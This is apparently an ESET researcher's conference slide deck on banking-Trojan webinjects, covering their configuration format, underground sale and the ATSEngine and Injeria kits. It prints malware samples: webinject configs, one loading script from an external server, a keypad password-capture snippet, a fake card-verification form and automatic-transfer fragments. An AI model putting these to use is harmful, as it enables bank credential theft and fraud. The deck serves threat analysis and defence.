The evolution of webinjects

Jean-Ian Boutin
ESET
Outline

- Webinject Evolution
- Webinject Commoditization
- Emergence of Popular Kits
- Webinject Delivery
Webinject Evolution
The Beginnings

- Keyloggers
- Form grabbing
  - Inspect GET/POST requests
- Injests are specifically made for one banking Trojan platform
- Only a couple of institutions are available
- Institutions are geo-located
Popular webinject format

```
set_url https://example.ca/...html*command=displayAccountSummary* GP

data_before
<body
data_end

data_inject
  style="visibility:hidden"
data_end

data_after
>
data_end
```

Keyword indicating which URL is targeted
Popular webinject format

```
set_url https://example.ca/hidden.html*command=displayAccountSummary* GP

data_before
<body
data_end

data_inject
  style="visibility:hidden"
data_end

data_after
>
data_end
```
Popular webinject format

```
set_url https://domain.ca/*command=displayAccountSummary*
```

```
data_before
<body
data_end

data_inject
  style="visibility:hidden"
data_end

data_after
  
data_end
```

Flags (Get, Post)
Popular webinject format

```html
set_url https://*.ca/*.html*command=displayAccountSummary* GP

<data_before>
<body
<data_end>

<data_inject
    style="visibility:hidden"
<data_end>

<data_after>
</data_end>
```

Keywords specifying where the code should be injected in the webpage
Popular webinject format

```
set_url https://example.ca/?html*command=displayAccountSummary* GP

data_before
<body
data_end

data_inject
  style="visibility:hidden"
data_end

data_after
>
data_end
```
Increase in Functionalities

- Login grabber
- Injection of additional fields
- Balance grabber/changer
- TAN Grabber
- Full Automatic Transfer Systems (ATS or AZ - avtozaliv)
Phish-like inject

For verification purposes you must update your card details.

Verified by Visa Password is incorrect

Name embossed on card (Exactly as on card)

Card number

John Doe

Date of birth (mm/dd/yyyy)

01 01 0001

Mother's maiden name

DoeMrs

Social security number

123 12 1323

Driver license number

456456456

Credit / Debit card PIN

1234

Verified by Visa password

**********

Continue
Automatic Transfer Systems

- Allow transfers to be done automatically
- Inject code able to browse to correct page, fill transfer information, etc
- Not as attractive nowadays due to complexity

```javascript
/*
 * checkRule
 * Adding the page location rule
 * @url          url to check, accepting regexp url
 * @callback     calls callback when url testing is success
 * @onlyParent   if TRUE will callback the rule when this page loaded in iframe
 * @withoutTimeout do random timeout or not
 */
checkRule: function(url, callback, onlyParent, withoutTimeout) {
```
Transaction Authorization Number (TAN)

- Several form factor exists
Social Engineering (1/2)

- Inject content tricking the user into entering a TAN
• Inject content tricking the user into installing a malicious application
Popular Webservices Targeted

- Extra content is injected as soon as user logs into his account
- Usually phishing-like webinjects
Webinfect Commoditization
Custom Tools

Config Builder

File

http://google.com
Go to browser when page loading begins

Editor
Source code Internet Explorer Page HTML code

Mask list:
*mail.ru* GP
*rambler.ru* GP

Disable mask

Inject list:
Inject 0
Inject 1

Disable inject

Data before:
<input type="submit" value=""

Data inject:
Inj FInd

Data after:
"class="pointer"
Cheap Webinjests

[ru]

Безвредное Изготовление, Продажа, Переделка.
Работа может быть выполнена для всех известных в наших кругах трюков, также могу писать на приватные темы, в которых поддержка инжектирования веб страниц.

Привилегии: WM2/EC/PM/WH/NC....
Web Injests

Germany
United Kingdom
USA
Canada
France
Mobile Bot

New Zealand
Australia
Japan
Sweden
Card Collectors
Columbia
Some webinject seller can include android components to bypass mTAN
Panels

- Some scripts with advanced capabilities come with an administration panel
Public/Private webinject and Partnerships

• Two types of offering for webinject
  – Public
  – Private
• Partnership, where the revenue can be shared, are also mentioned by some inject coders
Emergence of Popular Kits
ATSEngine

- ATSEngine panel screenshots
- Seen in Qadars, ZeusVM, Neverquest/Vawtrak, Citadel, GOZ
Injeria

- Used in several banking Trojans: Qadars, Tilon, Torpig
- JS downloaded from external source, using a distinctive URL
Several different project types

- log-<project-name>
- mob-<project-name>
- req-<project-name>
- app-<project-name>
How to track them?

• The code and URL structures
• The admin panel design
• Sometimes underground adverts and features correlation is possible
ATSEngine - ID

```javascript
var home_link = "https://example.com/scotiaadmin";
var gate_link = home_link + "(gate.php)";
var pkey = "::scotiagrab"
```

Password: 

Sign in
Webinject Delivery
Inline vs. external downloads

```html
set_url *https://*asp* GP

data_before
<!DOCTYPE*<head*>>
data_end

data_inject
<script>var b_uid="%UID%";</script>
<script type="text/javascript">
src="https://*com/app.php?data=cHJvamVjdD1hcHAtY3NvYmN6LXM="
</script>
data_end

data_after
data_end
```
```javascript
$(document).ready(function() {
    enterNumOld = enterNum;
    enterNum = function(padButton) {
        $('#input#txtPasswordPlain').val($('#input#txtPasswordPlain').val() + $(padButton).val());
        enterNumOld(padButton);
    };
    clearFieldOld = clearField;
    clearField = function () {
        $('#input#txtPasswordPlain').val('');
        clearFieldOld();
    };
    delFieldOld = delField;
    delField = function () {
        $('#input#txtPasswordPlain').val($('#input#txtPasswordPlain').val().slice(0, -1));
        delFieldOld();
    };
});
```
Advantages

- Hinder forensic analysis
- Feature based selling
- Maintenance by original seller
- New webinject code does not have to be downloaded right away by the bot
External Server Interactions

Client side

```
wget --user-agent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)" -t1 "http://localhost:8080/ba?au=ad2&act=start&id=0&jab=1&func=00__o_o__o___&onload=00__o_o__o___(%22call_07642152347844221%22)"
```

Server side

```
```
External Server Interactions

```json
{
    "acc_num": "PL*********",
    "blz": "*********",
    "comment": "Get by bot id 17:08:07 25 Mar 2014:
    Get by bot id 17:08:07 25 Mar 2014: Amount of transfer 1",
    "created_at": "2014-02-13T20:53:16+01:00",
    "first_name": "*********",
    "id": 6,
    "last_name": "*********",
    "max_sum_limit": 2480,
    "min_sum_limit": 100,
    "status": "busy",
    "success": "true",
    "trans_comment": "Ref N 9295",
    "updated_at": "2014-03-25T17:08:07+01:00"
}
```
Conclusion
Conclusion

- Webinjests have evolved tremendously in the past few years
- In several banking Trojans, it is the true attack code
- Webinject commoditization is well in place
- As different webinject platforms are available, some are more popular than others
Thank You!!

- Special thanks to Anton Cherepanov
- Questions?

@jiboutin